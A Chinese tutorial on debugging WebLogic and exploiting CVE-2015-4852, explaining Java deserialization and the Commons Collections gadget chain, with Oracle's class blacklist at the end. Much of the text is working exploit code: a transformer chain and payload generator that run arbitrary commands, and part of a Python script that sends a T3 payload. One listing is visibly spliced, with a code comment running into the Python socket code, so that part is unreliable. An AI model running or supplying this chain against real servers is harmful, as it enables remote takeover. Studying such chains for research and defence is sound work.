0x00 前言
最近刚好碰到了weblogic的场景,就想好好学习一下并总结。版本用的是12.2.1.3
0x01 weblogic是啥
WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
WebLogic最早由 WebLogic Inc. 开发,后并入BEA 公司,最终BEA公司又并入Oracle公司。webserver是用来构建网站的必要软件,具有解析、发布网页等功能,它是用纯java开发的 。
0x02 安装weblogic
这一步就不多说了,网上有很多的教程,主要是需要注册一个oracle账号,信息填写尽量不要暴露个人信息就好。
遇到jre1.7.0_71不是有效的 JDK 的解决办法
把fmw12.1.3.0.0wls.jar放到%JAVAHOME%\bin目录下,然后执行java -jar fmw12.1.3.0.0_wls.jar
遇到此时不应有 \Java\jdkxxxxxx的解决办法
https://blog.csdn.net/langdeyouhuoyouhuo/article/details/25964007
在linux下安装的时候碰到root用户不行
创建weblogic用户,使用weblogic用户来执行
在linux下安装的时候碰到oracle检查程序need 256 color
注销root用户,直接登录weblogic用户即可
查看补丁信息,到opatch目录下执行
opatch lsinventory
0x03 使用IDEA Debug
本地Debug
1、添加项目
用IDEA打开weblogic的项目,项目路径一般为
weblogic\user_projects\domains
2、在IDEA里配置local debug的设置
3、在project structure里添加项目依赖
4、运行Debug按钮
然后会自动跳出项目首页。
一般国内的文章都只写到这就结束了,待笔者后面把远程debug也介绍完之后再说怎么玩怎么下断点^_^
远程Debug
1、什么是 Remote Debugging
Remote Debugging 是通过你正在调试的JVM和你选择的用于调试的工具之间使用TCP/IP通信来实现的。
JVM是java程序运行的平台,也叫java虚拟机,这是java之所以能够跨平台的关键,它负责执行java编译好的字节码文件。这里不是主要内容,就不详细展开了,感兴趣可以自行搜索相关概念。
2、配置远程Debug
注意这儿的配置需要选择remote那一项
3、打开远程debug
任何JVM都允许远程调试。这是通过在启动Java程序时添加一些标志来实现的。
在domain的bin目录下找setDomainEnv.cmd文件,搜索 “ if "%debugFlag%" ”,在这一行上面设置 “set debugFlag=true”。或者直接把local_debug设为true。
然后可以搜索“DEBUG_PORT”查看 默认端口号。
4、添加项目依赖
5、启动startweblogic.cmd
6、启动debug
看到这句话就证明连接上了(安排上了)
要点
无论本地还是远程其实都要保持代码的一致性。
对于weblogic这类型的应用,源码在jar包里,需要用jd.gui来反编译里面的jar包。
然后分析整个大概的运行流程,找到关键的调用链。
跟进逐步分析,由于国内直接讲这个的文章比较少,笔者也摸索了挺久,才摸索出门道来,不过这种自己动手实践摸索出来的感觉很爽。
参考
http://badcode.cc/2018/05/20/WebLogic-%E5%8A%A8%E6%80%81%E8%B0%83%E8%AF%95%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA/
0x04 反序列化漏洞
反序列化漏洞是一类危害较大的漏洞。
大多数编程语言为用户提供了内置的方法,可以将应用程序数据输出到磁盘或通过网络传输 。
所谓序列化,就是将应用程序数据转换为适合于传输的另一种格式(通常是二进制)的过程。
所谓反序列化,就是在序列化后重新读取数据的过程。
漏洞通常存在于开发人员编写代码时希望接受来自用户的序列化数据并尝试反序列化以便在程序中使用的代码时,就会出现漏洞。根据语言的不同,这会产生各种各样的后果,但最有趣的是,我们在这里讨论的是远程代码执行。
以下是foxglovesecurity的研究文章(建议读者可以花时间认真看看,文章挺长,讲解也挺透彻,英文不好也可以用插件翻译):
https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
下面是序列化与反序列化的抽象图:
为什么java里特别多?
因为Java世界中的一切都使用对象序列化,并且几乎所有东西都可以被强制接受不安全的,比如用户提供的序列化数据。
此外,反序列化漏洞是完全取决于语言各自的特点的。
**下面的例子展示了java中如何序列化与反序列化(代码一)
import java.io.ObjectInputStream;
import java.io.FileInputStream;
import java.io.ObjectOutputStream;
import java.io.FileOutputStream;
public class SerializeTest{
public static void main(String args[]) throws Exception{
//这是我们即将序列化的对象
String name = "bob";
//我们会把序列化数据写进文件 "name.ser" 里
FileOutputStream fos = new FileOutputStream("name.ser");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(name);
os.close();
//从文件 "name.ser" 中读取出存储的序列化数据
FileInputStream fis = new FileInputStream("name.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
//读取数据并转化成字符串输出
String nameFromDisk = (String)ois.readObject();
//控制台打印
System.out.println(nameFromDisk);
ois.close();
}
}
这段代码只是使用Java的序列化接口将String“bob”写入磁盘中的"name.ser"文件,然后将其读回并打印结果。以下显示了运行此代码的输出
[root@localhost Desktop]# javac SerializeTest.java
[root@localhost Desktop]# java SerializeTest
bob
[root@localhost Desktop]# xxd name.ser
0000000: aced 0005 7400 0362 6f62 ....t..bob
请注意,磁盘“name.ser”上的文件是二进制文件,它有一些不可打印的字符。特别是经典标志,字节“aced 0005” - 这些是你在任何Java序列化对象的开头看到的“神奇字节”。
java的精髓就是object
下面是自定义对象序列化(代码二)
import java.io.ObjectInputStream;
import java.io.FileInputStream;
import java.io.ObjectOutputStream;
import java.io.FileOutputStream;
import java.io.Serializable;
import java.io.IOException;
public class SerializeTest{
public static void main(String args[]) throws Exception{
//这是我们即将序列化的对象
MyObject myObj = new MyObject();
myObj.name = "bob";
//我们会把序列化数据写进文件 "object.ser" 里
FileOutputStream fos = new FileOutputStream("object.ser");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(myObj);
os.close();
//从文件 "object.ser" 中读取出存储的序列化数据
FileInputStream fis = new FileInputStream("object.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
//读取数据并转化成字符串输出
MyObject objectFromDisk = (MyObject)ois.readObject();
//控制台打印
System.out.println(objectFromDisk.name);
ois.close();
}
}
class MyObject implements Serializable{
public String name;
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
in.defaultReadObject();
this.name = this.name+"!";
}
}
下面是输出
[root@localhost Desktop]# java SerializeTest2
bob!
[root@localhost Desktop]# xxd object.ser
0000000: aced 0005 7372 0008 4d79 4f62 6a65 6374 ....sr..MyObject
0000010: cf7a 75c5 5dba f698 0200 014c 0004 6e61 .zu.]......L..na
0000020: 6d65 7400 124c 6a61 7661 2f6c 616e 672f met..Ljava/lang/
0000030: 5374 7269 6e67 3b78 7074 0003 626f 62 String;xpt..bob
代码二与代码一是基本相似的,但是这里被序列化的对象是用户定义的名称“MyObject”。
这里的关键是readObject方法。当Java读入一个序列化对象时,在读取原始字节后它首先执行的操作是调用用户定义的“readObject”方法(如果存在)。我们看到我们的myobject对象在定义readObject方法的时候在name属性后附加一个感叹号。
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
in.defaultReadObject();
this.name = this.name+"!";
}
那么,如果我们知道一个自定义了readObject方法的序列化对象做了危险的事情呢?
如果不是简单的附加毫无危害的感叹号,而是可以在操作系统上运行用户定义的命令,那真的skr skr危险了。
假设存在这样一个易受攻击的对象,但它不是核心的一部分,而只是库的一部分。从开发者的角度去考虑:
1、该库需要在Java的类路径上
2、应用程序需要反序列化不受信任的用户输入
我们已经确定第二个要求经常可以满足。如果我们能够在常用的库中找到这样的漏洞,则可以满足第一个要求。
此外,Java库与我们已经看到这些类型的漏洞的其他库不同。例如,OpenSSL通常作为共享库运行,因此开发者可以更新所有RedHat框,并且神奇地不再容易受到HeartBleed的攻击。相比之下,Java库是一团糟。每个应用程序服务器都有自己的库包,更糟糕的是,在服务器上部署的每个应用程序通常都带有自己的集合。要完全解决此问题,开发者需要单独查找和更新每个库。
下面开始研究的weblogic它的漏洞点位于commons-collections Java库中。
0x05 CVE-2015-4852
概述CVE-2015-4852 是 java 反序列化问题引起重视并被大规模利用时候的 weblogic 的漏洞。 WLS Security组件允许远程攻击者执行任意命令。攻击者通过向TCP端口7001发送T3协议流量,其中包含精心构造的序列化Java对象利用此漏洞。此漏洞影响到WLS Security Handler的文件oracle_common/modules/com.bea.core.apache.commons.collections.jar内的函数。
影响范围Oracle WebLogic Server - Version 10.3.6 to 12.2.1.0.0
漏洞原理概括
如果Java应用对用户输入没有进行校验而直接做反序列化处理,那么攻击者可以通过构造恶意输入,让反序列化产生非预期的对象,非预期的对象在产生过程中就有可能产生任意代码执行的漏洞。
——不可信输入带入流程中
介绍 apache commons collections
Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。作为Apache开源项目的重要组件,Commons Collections被广泛应用于各种Java应用的开发。
CommonsCollections 组件中对于集合的操作存在反射调用的方法,并且该方法在相关对象反序列化时并未进行任何校验。
从Transformer开始谈起
org.apache.commons.collections.Transformer
Apache Commons Collections中提供了一个Transformer的类,这个接口的的功能就是:把一个对象转换为另一个对象。
图中,ConstantTransformer,invokerTransformer,ChainedTransformer和TransformedMap继承了Transformer类。
invokeTransformer:Transformer implementation that creates a new object instance by reflection.
(通过反射,返回一个对象)
ChainedTransformer:Transformer implementation that chains the specified transformers together.
(把transformer连接成一条链,对一个对象依次通过链条内的每一个transformer进行转换)
ConstantTransformer:Transformer implementation that returns the same constant each time.
(把一个对象转化为常量,并返回)
参考:
https://wsygoogol.github.io/2016/10/10/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
反射机制
JAVA反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意一个方法和属性;这种动态获取的信息以及动态调用对象的方法的功能称为Java语言的反射机制。
了解ConstantTransformer
org.apache.commons.collections.functors.constanttransformer
该类使用Transformer的接口,重写了transformer的方法
transform返回的是iConstant的变量,iConstant的变量必定在ConstantTransformer(Object)方法中被赋值。
public void test(){
ConstantTransformer tran = new ConstantTransformer(Runtime.class);
}
在源码中设置断点,开启debug运行 ,将会看到构造出了Runtime的对象类型。
了解Invoketransformer
org.apache.commons.collections.functors.invoketransformer
定义
可以看到 InvokerTransformer 类中实现的 transform() 接口使用 Java 反射机制获取反射对象 input 中的参数类型为 iParamTypes 的方法 iMethodName,然后使用对应参数 iArgs 调用获取的方法,并将执行结果返回。由于其实现了 Serializable 接口,因此其中的三个必要参数 iMethodName、iParamTypes 和 iArgs 都是可以通过序列化直接构造的,为命令执行创造的决定性的条件。
invoketransformer类中比较关键的地方
该方法中采用反射的方法进行调用,其中红框input参数为进行反射操作的对象,另外三个参数中
iMethodName——调用的方法名
iParamTypes——该方法的参数类型
iArgs——对应方法的参数
在该类的构造方法中,可以发现,这三个参数都是可控的,可控意味着不可信!
在invokerTransformer类中,通过反射创建新的对象实例。其中transform方法定义为:
method.invoke(input,iargs)意思是,执行input对象的method方法,参数是iargs。
这个transform(Object input) 中使用Java反射机制调用了input对象的一个方法,而该方法名是实例化InvokerTransformer类时传入的iMethodName成员变量:
也就是说这段反射代码中的调用的方法名和Class对象都是可控的。于是,我们可以构造一个恶意的Transformer链,借用InvokerTransformer.transform()执行任意命令。
@transform test
public void test(){
InvokerTransformer tran = new InvokerTransformer(
"getMethod",
new Class[] { String.class, Class[].class },
new Object[] { "getRuntime",null }
);
Method run = (Method) tran.transform(Runtime.class);
InvokerTransformer tran2 = new InvokerTransformer(
"invoke",
new Class[] { Object.class, Object[].class },
new Object[] { null, null }
);
System.out.println(tran2.transform(run).toString()),
}
动态跟踪一下这个demo的流程
最终,可以看到,此处已经是Runtime类了
继续构造exec(“calc.exe”)代码段
Runtime run = (Runtime) tran2.transform(method);
InvokerTransformer tran3 = new InvokerTransformer(
"exec",
new Class[] { String.class },
new Object[] { "calc.exe" }
);
tran3.transform(run);
最终
到此,我们已经成功构造payload了,在这里我是直接放到main函数里执行了payload,那么正常情况下我们怎么执行呢?
了解ChainedTransformer
org.apache.commons.collections.functors.chainedtransformer
执行反射链用到ChainedTransformer ,查看源码
发现ChainedTransformer 利用for循环,对传入的transformers[i]数组逐个运行transform方法 ,就是把上文的步骤利用一个for循环整合在了一起。
构造一个以数组为主的反射链进行弹窗:
public void test(){
ChainedTranstormer chain = null;
Transformer transforms[] = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class},
new Object[] {"getRuntime", null }
),
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class},
new Object[] {null, null}
),
new InvokerTransformer("exec",
new Class[] {String[].class},
new Object[] {"calc.exe"}
)
};
chain = new ChainedTransformer(transformers);
chain.transform(Object.class);
}
构造出了chain方法之后,还需要调用了ChainedTransformer类中的transform对象转换方法。
如何才能不通过直接调用transform方法执行反射链呢?
下面就要去寻找类了,寻找到调用了ChainedTransformer类中的transform方法的类,这个类叫TransformedMap 。
参考:
https://blog.chaitin.cn/2015-11-11javaunserialize_rce/
从以上两幅图可以看出,valueTransformer变量是可控的,只要在decorate方法中赋值即可
TransformedMap.decorate方法
预期是对Map类的数据结构进行转化,该方法有三个参数。第一个参数为待转化的Map对象,第二个参数为Map对象内的key要经过的转化方法(可为单个方法,也可为链,也可为空),第三个参数为Map对象内的value要经过的转化方法。
Map
类是存储键值对的数据结构,Apache Commons Collections中实现了类 TransformedMap
,用来对 Map
进行某种变换,只要调用 decorate()
函数,传入key和value的变换函数 Transformer
,即可从任意 Map
对象生成相应的 TransformedMap
。
位于该 类中的 checkSetValue() 方法
public class TransformedMap
extends AbstractInputCheckedMapDecorator
implements Serializable {
...省略...
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
TransformedMap 实现了 Map 接口
在AbstractInputCheckedMapDecorator里
发现在对字典键值进行setValue() 操作时会调用valueTransformer.transform(value) ,这下子就清晰了。
这里为了多次进行多次反射调用,我们可以将多个 InvokerTransformer 实例级联在一起组成一个 ChainedTransformer 对象 。
Transformer[] transforms = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[] {String.class, Class[].class},
new Object[] {"getRuntime", new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[] {Object.class, Object[].class},
new Object[] {null, new Object[0]}
),
new InvokerTransformer(
"exec",
new Class[] {String[].class},
new Object[] {execArgs}
)
};
Transformer transformerChain = new ChainedTransformer(transforms);
这段构造本质上利用反射机制调用Runtime()执行了一段系统命令,作用于下列等同:
((Runtime)Runtime.class.getMethod("getMethod",null).invoke(null,null)).exec(commands);
对应关系如下,此处参考:
http://blog.orleven.com/2017/11/11/java-deserialize/
我们来看一波网上的POC(POC即整个漏洞利用的过程的呈现 )
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class SetValueToExec {
public static void main(String[] args) throws Exception {
String command = (args.length != 0) ? args[0] : "/bin/sh,-c,open /Applications/Calculator.app";
String[] execArgs = command.split(",");
Transformer[] transforms = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[] {String.class, Class[].class},
new Object[] {"getRuntime", new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[] {Object.class, Object[].class},
new Object[] {null, new Object[0]}
),
new InvokerTransformer(
"exec",
new Class[] {String[].class},
new Object[] {execArgs}
)
};
Transformer transformerChain = new ChainedTransformer(transforms);
Map tempMap = new HashMap();
Map exMap = TransformedMap.decorate(tempMap, null, transformerChain);
exMap.put("1111", "2222");
for (Map.Entry exMapValue : exMap.entrySet()) {
exMapValue.setValue(1);
}
}
}
这个POC是这样来理解:
1、首先使用ChainedTransformer来把多个反射调用集合到一起。
2、使用HashMap()方法构造集合对象innerMap,使用put()方法对其赋值。
3、利用TransformedMap的decorate方法,对innerMap中的value(也就是传入的transformerChain)进行transform,当value执行完一个完整transform链,就完成了命令执行 。最终执行成功后弹出计算器。
当上面的代码运行到 setValue()
时,就会触发 ChainedTransformer
中的一系列变换函数:首先通过 ConstantTransformer
获得 Runtime
类,进一步通过反射调用 getMethod
找到 invoke
函数,最后再运行命令 calc.exe
。
现在只是测试了使用 TransformedMap 进行任意命令执行而已,要想在 Java 应用反序列化的过程中触发该过程还需要找到一个类,它能够在反序列化调用 readObject() 的时候调用 TransformedMap 内置类 MapEntry 中的 setValue() 函数,这样才能构成一条完整的 Gadget 调用链。
这里介绍一个类:
AnnotationInvocationHandler
在java的运行库中,有这么一个类:AnnotationInvocationHandler ,位置在
sun.reflect.annotation.AnnotationInvocationHandler
它重写了ReadObject反序列化的方法,其中就调用了上面提到的MapEntry的SetValue方法
该类存在一个Map类型成员变量memberValues;
另外,该类的readObject()函数中对memberValues的每一项调用了setValue()函数对value值进行变换。
注:在高版本的1.8 JDK往后的JDK中该类的代码已经被修改,而无法使用,因此如果你需要做这个实验的话,需要安装1.8的低版本JDK,例如在1.8 u60中该代码可以被使用 。
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
……………………省略………………………………
for (Map.Entry memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
在该类的readObject方法中可以注意到 memberValue 是 AnnotationInvocationHandler 类中类型声明为 Map的成员变量,刚好和之前构造的 TransformedMap 类型相符,因此我们可以通过 Java 的反射机制动态的获取 AnnotationInvocationHandler 类,使用精心构造好的 TransformedMap 作为它的实例化参数,然后将实例化的 AnnotationInvocationHandler 进行序列化得到二进制数据,最后传递给具有相应环境的序列化数据交互接口使之触发命令执行的 Gadget :
参考:
http://blog.knownsec.com/2015/12/untrusted-deserialization-exploit-with-java/
import java.io.ObjectOutputStream;
import java.util.Map;
import java.util.HashMap;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import exserial.payloads.utils.Serializables;
public class Commons1 {
public static Object getAnnotationInvocationHandler(String command) throws Exception {
String[] execArgs = command.split(",");
Transformer[] transforms = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[] {String.class, Class[].class},
new Object[] {"getRuntime", new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[] {Object.class, Object[].class},
new Object[] {null, new Object[0]}
),
new InvokerTransformer(
"exec",
new Class[] {String[].class},
new Object[] {execArgs}
)
};
Transformer transformerChain = new ChainedTransformer(transforms);
Map tempMap = new HashMap();
tempMap.put("value", "does't matter");
Map exMap = TransformedMap.decorate(tempMap, null, transformerChain);
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, exMap);
return instance;
}
public static void main(String[] args) throws Exception {
String command = (args.length != 0) ? args[0] : "/bin/sh,-c,open /Applications/Calculator.app";
Object obj = getAnnotationInvocationHandler(command);
ObjectOutputStream out = new ObjectOutputStream(System.out);
out.writeObject(obj);
}
}
最后POC完整的调用链为:
/*
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
AbstractInputCheckedMapDecorator$MapEntry.setValue()
TransformedMap.checkSetValue()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Requires:
commons-collections >sys.stderr, 'received "%s"' % data
payloadObj = open(sys.argv[3],'rb').read()
payload='\x00\x00\x09\xf3\x01\x65\x01\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x71\x00\x00\xea\x60\x00\x00\x00\x18\x43\x2e\xc6\xa2\xa6\x39\x85\xb5\xaf\x7d\x63\xe6\x43\x83\xf4\x2a\x6d\x92\xc9\xe9\xaf\x0f\x94\x72\x02\x79\x73\x72\x00\x78\x72\x01\x78\x72\x02\x78\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x70\x70\x70\x70\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x06\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x03\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x03\x78\x70\x77\x02\x00\x00\x78\xfe\x01\x00\x00'
payload=payload+payloadObj
payload=payload+'\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x21\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x65\x65\x72\x49\x6e\x66\x6f\x58\x54\x74\xf3\x9b\xc9\x08\xf1\x02\x00\x07\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x74\x00\x27\x5b\x4c\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x6d\x6d\x6f\x6e\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\x3b\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x56\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x97\x22\x45\x51\x64\x52\x46\x3e\x02\x00\x03\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x71\x00\x7e\x00\x03\x4c\x00\x0e\x72\x65\x6c\x65\x61\x73\x65\x56\x65\x72\x73\x69\x6f\x6e\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x12\x76\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x41\x73\x42\x79\x74\x65\x73\x74\x00\x02\x5b\x42\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x71\x00\x7e\x00\x05\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x05\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x05\x78\x70\x77\x02\x00\x00\x78\xfe\x00\xff\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x46\x21\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\x00\x0b\x75\x73\x2d\x6c\x2d\x62\x72\x65\x65\x6e\x73\xa5\x3c\xaf\xf1\x00\x00\x00\x07\x00\x00\x1b\x59\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x78\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x1d\x01\x81\x40\x12\x81\x34\xbf\x42\x76\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\xa5\x3c\xaf\xf1\x00\x00\x00\x00\x00\x78'
# adjust header for appropriate message length
payload = "{0}{1}".format(struct.pack('!i', len(payload)), payload[4:])
print 'sending payload...'
sock.send(payload)
推荐完善的不错的一个exp
https://github.com/hanc00l/weblogicunserializeexploit
官方补丁:
https://www.oracle.com/technetwork/topics/security/cpujan2016-2367955.html
针对CVE-2015-4852的补丁只采用了黑名单的方式
org.apache.commons.collections.functors* *
com.sun.org.apache.xalan.internal.xsltc.trax* *
javassist* *
org.codehaus.groovy.runtime.ConvertedClosure
org.codehaus.groovy.runtime.ConversionHandler
org.codehaus.groovy.runtime.MethodClosure
这几个黑名单作用的位置有限
weblogic.rjvm.InboundMsgAbbrev.class :: ServerChannelInputStream
weblogic.rjvm.MsgAbbrevInputStream.class
weblogic.iiop.Utils.class
这种修复方式很被动,存在被绕过的风险,只要发现可用并且未在黑名单之外的反序列化类,那么之前的防护就会被打破,系统遭受攻击。这也是后来weblogic不断修复,不断被绕过导致新的RCE的原因。
后面几个由相同问题导致的RCE就只介绍不一样的地方。
文章篇幅较长,明天更新后续内容!
看不过瘾?合天2017年度干货精华请点击《【精华】2017年度合天网安干货集锦》
别忘了投稿哦!
合天公众号开启原创投稿啦!!!
大家有好的技术原创文章。
欢迎投稿至邮箱:edu@heetian.com
合天会根据文章的时效、新颖、文笔、实用等多方面评判给予100元-500元不等的稿费哟。
有才能的你快来投稿吧!
点击了解投稿详情 重金悬赏 | 合天原创投稿等你来!